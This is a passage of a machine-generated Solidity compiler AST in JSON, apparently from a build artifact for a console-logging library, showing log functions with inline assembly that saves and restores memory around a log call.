const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45149,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"349692:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45147,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"349670:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45150,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"349670:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45151,"nodeType":"ExpressionStatement","src":"349670:27:22"},{"AST":{"nativeSrc":"349716:214:22","nodeType":"YulBlock","src":"349716:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"349737:4:22","nodeType":"YulLiteral","src":"349737:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"349743:2:22","nodeType":"YulIdentifier","src":"349743:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349730:6:22","nodeType":"YulIdentifier","src":"349730:6:22"},"nativeSrc":"349730:16:22","nodeType":"YulFunctionCall","src":"349730:16:22"},"nativeSrc":"349730:16:22","nodeType":"YulExpressionStatement","src":"349730:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349766:4:22","nodeType":"YulLiteral","src":"349766:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"349772:2:22","nodeType":"YulIdentifier","src":"349772:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349759:6:22","nodeType":"YulIdentifier","src":"349759:6:22"},"nativeSrc":"349759:16:22","nodeType":"YulFunctionCall","src":"349759:16:22"},"nativeSrc":"349759:16:22","nodeType":"YulExpressionStatement","src":"349759:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349795:4:22","nodeType":"YulLiteral","src":"349795:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"349801:2:22","nodeType":"YulIdentifier","src":"349801:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349788:6:22","nodeType":"YulIdentifier","src":"349788:6:22"},"nativeSrc":"349788:16:22","nodeType":"YulFunctionCall","src":"349788:16:22"},"nativeSrc":"349788:16:22","nodeType":"YulExpressionStatement","src":"349788:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349824:4:22","nodeType":"YulLiteral","src":"349824:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"349830:2:22","nodeType":"YulIdentifier","src":"349830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349817:6:22","nodeType":"YulIdentifier","src":"349817:6:22"},"nativeSrc":"349817:16:22","nodeType":"YulFunctionCall","src":"349817:16:22"},"nativeSrc":"349817:16:22","nodeType":"YulExpressionStatement","src":"349817:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349853:4:22","nodeType":"YulLiteral","src":"349853:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"349859:2:22","nodeType":"YulIdentifier","src":"349859:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349846:6:22","nodeType":"YulIdentifier","src":"349846:6:22"},"nativeSrc":"349846:16:22","nodeType":"YulFunctionCall","src":"349846:16:22"},"nativeSrc":"349846:16:22","nodeType":"YulExpressionStatement","src":"349846:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349882:4:22","nodeType":"YulLiteral","src":"349882:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"349888:2:22","nodeType":"YulIdentifier","src":"349888:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349875:6:22","nodeType":"YulIdentifier","src":"349875:6:22"},"nativeSrc":"349875:16:22","nodeType":"YulFunctionCall","src":"349875:16:22"},"nativeSrc":"349875:16:22","nodeType":"YulExpressionStatement","src":"349875:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349911:4:22","nodeType":"YulLiteral","src":"349911:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"349917:2:22","nodeType":"YulIdentifier","src":"349917:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349904:6:22","nodeType":"YulIdentifier","src":"349904:6:22"},"nativeSrc":"349904:16:22","nodeType":"YulFunctionCall","src":"349904:16:22"},"nativeSrc":"349904:16:22","nodeType":"YulExpressionStatement","src":"349904:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45126,"isOffset":false,"isSlot":false,"src":"349743:2:22","valueSize":1},{"declaration":45129,"isOffset":false,"isSlot":false,"src":"349772:2:22","valueSize":1},{"declaration":45132,"isOffset":false,"isSlot":false,"src":"349801:2:22","valueSize":1},{"declaration":45135,"isOffset":false,"isSlot":false,"src":"349830:2:22","valueSize":1},{"declaration":45138,"isOffset":false,"isSlot":false,"src":"349859:2:22","valueSize":1},{"declaration":45141,"isOffset":false,"isSlot":false,"src":"349888:2:22","valueSize":1},{"declaration":45144,"isOffset":false,"isSlot":false,"src":"349917:2:22","valueSize":1}],"id":45152,"nodeType":"InlineAssembly","src":"349707:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"348605:3:22","parameters":{"id":45123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45116,"mutability":"mutable","name":"p0","nameLocation":"348617:2:22","nodeType":"VariableDeclaration","scope":45154,"src":"348609:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45115,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348609:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45118,"mutability":"mutable","name":"p1","nameLocation":"348629:2:22","nodeType":"VariableDeclaration","scope":45154,"src":"348621:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45117,"name":"uint256","nodeType":"ElementaryTypeName","src":"348621:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45120,"mutability":"mutable","name":"p2","nameLocation":"348641:2:22","nodeType":"VariableDeclaration","scope":45154,"src":"348633:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45119,"name":"address","nodeType":"ElementaryTypeName","src":"348633:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45122,"mutability":"mutable","name":"p3","nameLocation":"348653:2:22","nodeType":"VariableDeclaration","scope":45154,"src":"348645:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45121,"name":"address","nodeType":"ElementaryTypeName","src":"348645:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"348608:48:22"},"returnParameters":{"id":45124,"nodeType":"ParameterList","parameters":[],"src":"348671:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45194,"nodeType":"FunctionDefinition","src":"349942:1334:22","nodes":[],"body":{"id":45193,"nodeType":"Block","src":"350014:1262:22","nodes":[],"statements":[{"assignments":[45166],"declarations":[{"constant":false,"id":45166,"mutability":"mutable","name":"m0","nameLocation":"350032:2:22","nodeType":"VariableDeclaration","scope":45193,"src":"350024:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"350024:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45167,"nodeType":"VariableDeclarationStatement","src":"350024:10:22"},{"assignments":[45169],"declarations":[{"constant":false,"id":45169,"mutability":"mutable","name":"m1","nameLocation":"350052:2:22","nodeType":"VariableDeclaration","scope":45193,"src":"350044:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45168,"name":"bytes32","nodeType":"ElementaryTypeName","src":"350044:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45170,"nodeType":"VariableDeclarationStatement","src":"350044:10:22"},{"assignments":[45172],"declarations":[{"constant":false,"id":45172,"mutability":"mutable","name":"m2","nameLocation":"350072:2:22","nodeType":"VariableDeclaration","scope":45193,"src":"350064:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45171,"name":"bytes32","nodeType":"ElementaryTypeName","src":"350064:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45173,"nodeType":"VariableDeclarationStatement","src":"350064:10:22"},{"assignments":[45175],"declarations":[{"constant":false,"id":45175,"mutability":"mutable","name":"m3","nameLocation":"350092:2:22","nodeType":"VariableDeclaration","scope":45193,"src":"350084:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45174,"name":"bytes32","nodeType":"ElementaryTypeName","src":"350084:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45176,"nodeType":"VariableDeclarationStatement","src":"350084:10:22"},{"assignments":[45178],"declarations":[{"constant":false,"id":45178,"mutability":"mutable","name":"m4","nameLocation":"350112:2:22","nodeType":"VariableDeclaration","scope":45193,"src":"350104:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45177,"name":"bytes32","nodeType":"ElementaryTypeName","src":"350104:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45179,"nodeType":"VariableDeclarationStatement","src":"350104:10:22"},{"assignments":[45181],"declarations":[{"constant":false,"id":45181,"mutability":"mutable","name":"m5","nameLocation":"350132:2:22","nodeType":"VariableDeclaration","scope":45193,"src":"350124:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45180,"name":"bytes32","nodeType":"ElementaryTypeName","src":"350124:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45182,"nodeType":"VariableDeclarationStatement","src":"350124:10:22"},{"assignments":[45184],"declarations":[{"constant":false,"id":45184,"mutability":"mutable","name":"m6","nameLocation":"350152:2:22","nodeType":"VariableDeclaration","scope":45193,"src":"350144:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45183,"name":"bytes32","nodeType":"ElementaryTypeName","src":"350144:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45185,"nodeType":"VariableDeclarationStatement","src":"350144:10:22"},{"AST":{"nativeSrc":"350173:828:22","nodeType":"YulBlock","src":"350173:828:22","statements":[{"body":{"nativeSrc":"350216:313:22","nodeType":"YulBlock","src":"350216:313:22","statements":[{"nativeSrc":"350234:15:22","nodeType":"YulVariableDeclaration","src":"350234:15:22","value":{"kind":"number","nativeSrc":"350248:1:22","nodeType":"YulLiteral","src":"350248:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"350238:6:22","nodeType":"YulTypedName","src":"350238:6:22","type":""}]},{"body":{"nativeSrc":"350319:40:22","nodeType":"YulBlock","src":"350319:40:22","statements":[{"body":{"nativeSrc":"350348:9:22","nodeType":"YulBlock","src":"350348:9:22","statements":[{"nativeSrc":"350350:5:22","nodeType":"YulBreak","src":"350350:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"350336:6:22","nodeType":"YulIdentifier","src":"350336:6:22"},{"name":"w","nativeSrc":"350344:1:22","nodeType":"YulIdentifier","src":"350344:1:22"}],"functionName":{"name":"byte","nativeSrc":"350331:4:22","nodeType":"YulIdentifier","src":"350331:4:22"},"nativeSrc":"350331:15:22","nodeType":"YulFunctionCall","src":"350331:15:22"}],"functionName":{"name":"iszero","nativeSrc":"350324:6:22","nodeType":"YulIdentifier","src":"350324:6:22"},"nativeSrc":"350324:23:22","nodeType":"YulFunctionCall","src":"350324:23:22"},"nativeSrc":"350321:36:22","nodeType":"YulIf","src":"350321:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"350276:6:22","nodeType":"YulIdentifier","src":"350276:6:22"},{"kind":"number","nativeSrc":"350284:4:22","nodeType":"YulLiteral","src":"350284:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"350273:2:22","nodeType":"YulIdentifier","src":"350273:2:22"},"nativeSrc":"350273:16:22","nodeType":"YulFunctionCall","src":"350273:16:22"},"nativeSrc":"350266:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"350290:28:22","nodeType":"YulBlock","src":"350290:28:22","statements":[{"nativeSrc":"350292:24:22","nodeType":"YulAssignment","src":"350292:24:22","value":{"arguments":[{"name":"length","nativeSrc":"350306:6:22","nodeType":"YulIdentifier","src":"350306:6:22"},{"kind":"number","nativeSrc":"350314:1:22","nodeType":"YulLiteral","src":"350314:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"350302:3:22","nodeType":"YulIdentifier","src":"350302:3:22"},"nativeSrc":"350302:14:22","nodeType":"YulFunctionCall","src":"350302:14:22"},"variableNames":[{"name":"length","nativeSrc":"350292:6:22","nodeType":"YulIdentifier","src":"350292:6:22"}]}]},"pre":{"nativeSrc":"350270:2:22","nodeType":"YulBlock","src":"350270:2:22","statements":[]},"src":"350266:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"350383:3:22","nodeType":"YulIdentifier","src":"350383:3:22"},{"name":"length","nativeSrc":"350388:6:22","nodeType":"YulIdentifier","src":"350388:6:22"}],"functionName":{"name":"mstore","nativeSrc":"350376:6:22","nodeType":"YulIdentifier","src":"350376:6:22"},"nativeSrc":"350376:19:22","nodeType":"YulFunctionCall","src":"350376:19:22"},"nativeSrc":"350376:19:22","nodeType":"YulExpressionStatement","src":"350376:19:22"},{"nativeSrc":"350412:37:22","nodeType":"YulVariableDeclaration","src":"350412:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"350429:3:22","nodeType":"YulLiteral","src":"350429:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"350438:1:22","nodeType":"YulLiteral","src":"350438:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"350441:6:22","nodeType":"YulIdentifier","src":"350441:6:22"}],"functionName":{"name":"shl","nativeSrc":"350434:3:22","nodeType":"YulIdentifier","src":"350434:3:22"},"nativeSrc":"350434:14:22","nodeType":"YulFunctionCall","src":"350434:14:22"}],"functionName":{"name":"sub","nativeSrc":"350425:3:22","nodeType":"YulIdentifier","src":"350425:3:22"},"nativeSrc":"350425:24:22","nodeType":"YulFunctionCall","src":"350425:24:22"},"variables":[{"name":"shift","nativeSrc":"350416:5:22","nodeType":"YulTypedName","src":"350416:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"350477:3:22","nodeType":"YulIdentifier","src":"350477:3:22"},{"kind":"number","nativeSrc":"350482:4:22","nodeType":"YulLiteral","src":"350482:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"350473:3:22","nodeType":"YulIdentifier","src":"350473:3:22"},"nativeSrc":"350473:14:22","nodeType":"YulFunctionCall","src":"350473:14:22"},{"arguments":[{"name":"shift","nativeSrc":"350493:5:22","nodeType":"YulIdentifier","src":"350493:5:22"},{"arguments":[{"name":"shift","nativeSrc":"350504:5:22","nodeType":"YulIdentifier","src":"350504:5:22"},{"name":"w","nativeSrc":"350511:1:22","nodeType":"YulIdentifier","src":"350511:1:22"}],"functionName":{"name":"shr","nativeSrc":"350500:3:22","nodeType":"YulIdentifier","src":"350500:3:22"},"nativeSrc":"350500:13:22","nodeType":"YulFunctionCall","src":"350500:13:22"}],"functionName":{"name":"shl","nativeSrc":"350489:3:22","nodeType":"YulIdentifier","src":"350489:3:22"},"nativeSrc":"350489:25:22","nodeType":"YulFunctionCall","src":"350489:25:22"}],"functionName":{"name":"mstore","nativeSrc":"350466:6:22","nodeType":"YulIdentifier","src":"350466:6:22"},"nativeSrc":"350466:49:22","nodeType":"YulFunctionCall","src":"350466:49:22"},"nativeSrc":"350466:49:22","nodeType":"YulExpressionStatement","src":"350466:49:22"}]},"name":"writeString","nativeSrc":"350187:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"350208:3:22","nodeType":"YulTypedName","src":"350208:3:22","type":""},{"name":"w","nativeSrc":"350213:1:22","nodeType":"YulTypedName","src":"350213:1:22","type":""}],"src":"350187:342:22"},{"nativeSrc":"350542:17:22","nodeType":"YulAssignment","src":"350542:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"350554:4:22","nodeType":"YulLiteral","src":"350554:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"350548:5:22","nodeType":"YulIdentifier","src":"350548:5:22"},"nativeSrc":"350548:11:22","nodeType":"YulFunctionCall","src":"350548:11:22"},"variableNames":[{"name":"m0","nativeSrc":"350542:2:22","nodeType":"YulIdentifier","src":"350542:2:22"}]},{"nativeSrc":"350572:17:22","nodeType":"YulAssignment","src":"350572:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"350584:4:22","nodeType":"YulLiteral","src":"350584:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"350578:5:22","nodeType":"YulIdentifier","src":"350578:5:22"},"nativeSrc":"350578:11:22","nodeType":"YulFunctionCall","src":"350578:11:22"},"variableNames":[{"name":"m1","nativeSrc":"350572:2:22","nodeType":"YulIdentifier","src":"350572:2:22"}]},{"nativeSrc":"350602:17:22","nodeType":"YulAssignment","src":"350602:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"350614:4:22","nodeType":"YulLiteral","src":"350614:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"350608:5:22","nodeType":"YulIdentifier","src":"350608:5:22"},"nativeSrc":"350608:11:22","nodeType":"YulFunctionCall","src":"350608:11:22"},"variableNames":[{"name":"m2","nativeSrc":"350602:2:22","nodeType":"YulIdentifier","src":"350602:2:22"}]},{"nativeSrc":"350632:17:22","nodeType":"YulAssignment","src":"350632:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"350644:4:22","nodeType":"YulLiteral","src":"350644:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"350638:5:22","nodeType":"YulIdentifier","src":"350638:5:22"},"nativeSrc":"350638:11:22","nodeType":"YulFunctionCall","src":"350638:11:22"},"variableNames":[{"name":"m3","nativeSrc":"350632:2:22","nodeType":"YulIdentifier","src":"350632:2:22"}]},{"nativeSrc":"350662:17:22","nodeType":"YulAssignment","src":"350662:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"350674:4:22","nodeType":"YulLiteral","src":"350674:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"350668:5:22","nodeType":"YulIdentifier","src":"350668:5:22"},"nativeSrc":"350668:11:22","nodeType":"YulFunctionCall","src":"350668:11:22"},"variableNames":[{"name":"m4","nativeSrc":"350662:2:22","nodeType":"YulIdentifier","src":"350662:2:22"}]},{"nativeSrc":"350692:17:22","nodeType":"YulAssignment","src":"350692:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"350704:4:22","nodeType":"YulLiteral","src":"350704:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"350698:5:22","nodeType":"YulIdentifier","src":"350698:5:22"},"nativeSrc":"350698:11:22","nodeType":"YulFunctionCall","src":"350698:11:22"},"variableNames":[{"name":"m5","nativeSrc":"350692:2:22","nodeType":"YulIdentifier","src":"350692:2:22"}]},{"nativeSrc":"350722:17:22","nodeType":"YulAssignment","src":"350722:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"350734:4:22","nodeType":"YulLiteral","src":"350734:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"350728:5:22","nodeType":"YulIdentifier","src":"350728:5:22"},"nativeSrc":"350728:11:22","nodeType":"YulFunctionCall","src":"350728:11:22"},"variableNames":[{"name":"m6","nativeSrc":"350722:2:22","nodeType":"YulIdentifier","src":"350722:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"350822:4:22","nodeType":"YulLiteral","src":"350822:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"350828:10:22","nodeType":"YulLiteral","src":"350828:10:22","type":"","value":"0x82112a42"}],"functionName":{"name":"mstore","nativeSrc":"350815:6:22","nodeType":"YulIdentifier","src":"350815:6:22"},"nativeSrc":"350815:24:22","nodeType":"YulFunctionCall","src":"350815:24:22"},"nativeSrc":"350815:24:22","nodeType":"YulExpressionStatement","src":"350815:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"350859:4:22","nodeType":"YulLiteral","src":"350859:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"350865:4:22","nodeType":"YulLiteral","src":"350865:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"350852:6:22","nodeType":"YulIdentifier","src":"350852:6:22"},"nativeSrc":"350852:18:22","nodeType":"YulFunctionCall","src":"350852:18:22"},"nativeSrc":"350852:18:22","nodeType":"YulExpressionStatement","src":"350852:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"350890:4:22","nodeType":"YulLiteral","src":"350890:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"350896:2:22","nodeType":"YulIdentifier","src":"350896:2:22"}],"functionName":{"name":"mstore","nativeSrc":"350883:6:22","nodeType":"YulIdentifier","src":"350883:6:22"},"nativeSrc":"350883:16:22","nodeType":"YulFunctionCall","src":"350883:16:22"},"nativeSrc":"350883:16:22","nodeType":"YulExpressionStatement","src":"350883:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"350919:4:22","nodeType":"YulLiteral","src":"350919:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"350925:2:22","nodeType":"YulIdentifier","src":"350925:2:22"}],"functionName":{"name":"mstore","nativeSrc":"350912:6:22","nodeType":"YulIdentifier","src":"350912:6:22"},"nativeSrc":"350912:16:22","nodeType":"YulFunctionCall","src":"350912:16:22"},"nativeSrc":"350912:16:22","nodeType":"YulExpressionStatement","src":"350912:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"350948:4:22","nodeType":"YulLiteral","src":"350948:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"350954:2:22","nodeType":"YulIdentifier","src":"350954:2:22"}],"functionName":{"name":"mstore","nativeSrc":"350941:6:22","nodeType":"YulIdentifier","src":"350941:6:22"},"nativeSrc":"350941:16:22","nodeType":"YulFunctionCall","src":"350941:16:22"},"nativeSrc":"350941:16:22","nodeType":"YulExpressionStatement","src":"350941:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"350982:4:22","nodeType":"YulLiteral","src":"350982:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"350988:2:22","nodeType":"YulIdentifier","src":"350988:2:22"}],"functionName":{"name":"writeString","nativeSrc":"350970:11:22","nodeType":"YulIdentifier","src":"350970:11:22"},"nativeSrc":"350970:21:22","nodeType":"YulFunctionCall","src":"350970:21:22"},"nativeSrc":"350970:21:22","nodeType":"YulExpressionStatement","src":"350970:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45166,"isOffset":false,"isSlot":false,"src":"350542:2:22","valueSize":1},{"declaration":45169,"isOffset":false,"isSlot":false,"src":"350572:2:22","valueSize":1},{"declaration":45172,"isOffset":false,"isSlot":false,"src":"350602:2:22","valueSize":1},{"declaration":45175,"isOffset":false,"isSlot":false,"src":"350632:2:22","valueSize":1},{"declaration":45178,"isOffset":false,"isSlot":false,"src":"350662:2:22","valueSize":1},{"declaration":45181,"isOffset":false,"isSlot":false,"src":"350692:2:22","valueSize":1},{"declaration":45184,"isOffset":false,"isSlot":false,"src":"350722:2:22","valueSize":1},{"declaration":45156,"isOffset":false,"isSlot":false,"src":"350988:2:22","valueSize":1},{"declaration":45158,"isOffset":false,"isSlot":false,"src":"350896:2:22","valueSize":1},{"declaration":45160,"isOffset":false,"isSlot":false,"src":"350925:2:22","valueSize":1},{"declaration":45162,"isOffset":false,"isSlot":false,"src":"350954:2:22","valueSize":1}],"id":45186,"nodeType":"InlineAssembly","src":"350164:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45188,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"351026:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45189,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"351032:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45187,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"351010:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"351010:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45191,"nodeType":"ExpressionStatement","src":"351010:27:22"},{"AST":{"nativeSrc":"351056:214:22","nodeType":"YulBlock","src":"351056:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"351077:4:22","nodeType":"YulLiteral","src":"351077:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"351083:2:22","nodeType":"YulIdentifier","src":"351083:2:22"}],"functionName":{"name":"mstore","nativeSrc":"351070:6:22","nodeType":"YulIdentifier","src":"351070:6:22"},"nativeSrc":"351070:16:22","nodeType":"YulFunctionCall","src":"351070:16:22"},"nativeSrc":"351070:16:22","nodeType":"YulExpressionStatement","src":"351070:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"351106:4:22","nodeType":"YulLiteral","src":"351106:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"351112:2:22","nodeType":"YulIdentifier","src":"351112:2:22"}],"functionName":{"name":"mstore","nativeSrc":"351099:6:22","nodeType":"YulIdentifier","src":"351099:6:22"},"nativeSrc":"351099:16:22","nodeType":"YulFunctionCall","src":"351099:16:22"},"nativeSrc":"351099:16:22","nodeType":"YulExpressionStatement","src":"351099:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"351135:4:22","nodeType":"YulLiteral","src":"351135:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"351141:2:22","nodeType":"YulIdentifier","src":"351141:2:22"}],"functionName":{"name":"mstore","nativeSrc":"351128:6:22","nodeType":"YulIdentifier","src":"351128:6:22"},"nativeSrc":"351128:16:22","nodeType":"YulFunctionCall","src":"351128:16:22"},"nativeSrc":"351128:16:22","nodeType":"YulExpressionStatement","src":"351128:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"351164:4:22","nodeType":"YulLiteral","src":"351164:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"351170:2:22","nodeType":"YulIdentifier","src":"351170:2:22"}],"functionName":{"name":"mstore","nativeSrc":"351157:6:22","nodeType":"YulIdentifier","src":"351157:6:22"},"nativeSrc":"351157:16:22","nodeType":"YulFunctionCall","src":"351157:16:22"},"nativeSrc":"351157:16:22","nodeType":"YulExpressionStatement","src":"351157:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"351193:4:22","nodeType":"YulLiteral","src":"351193:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"351199:2:22","nodeType":"YulIdentifier","src":"351199:2:22"}],"functionName":{"name":"mstore","nativeSrc":"351186:6:22","nodeType":"YulIdentifier","src":"351186:6:22"},"nativeSrc":"351186:16:22","nodeType":"YulFunctionCall","src":"351186:16:22"},"nativeSrc":"351186:16:22","nodeType":"YulExpressionStatement","src":"351186:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"351222:4:22","nodeType":"YulLiteral","src":"351222:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"351228:2:22","nodeType":"YulIdentifier","src":"351228:2:22"}],"functionName":{"name":"mstore","nativeSrc":"351215:6:22","nodeType":"YulIdentifier","src":"351215:6:22"},"nativeSrc":"351215:16:22","nodeType":"YulFunctionCall","src":"351215:16:22"},"nativeSrc":"351215:16:22","nodeType":"YulExpressionStatement","src":"351215:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc"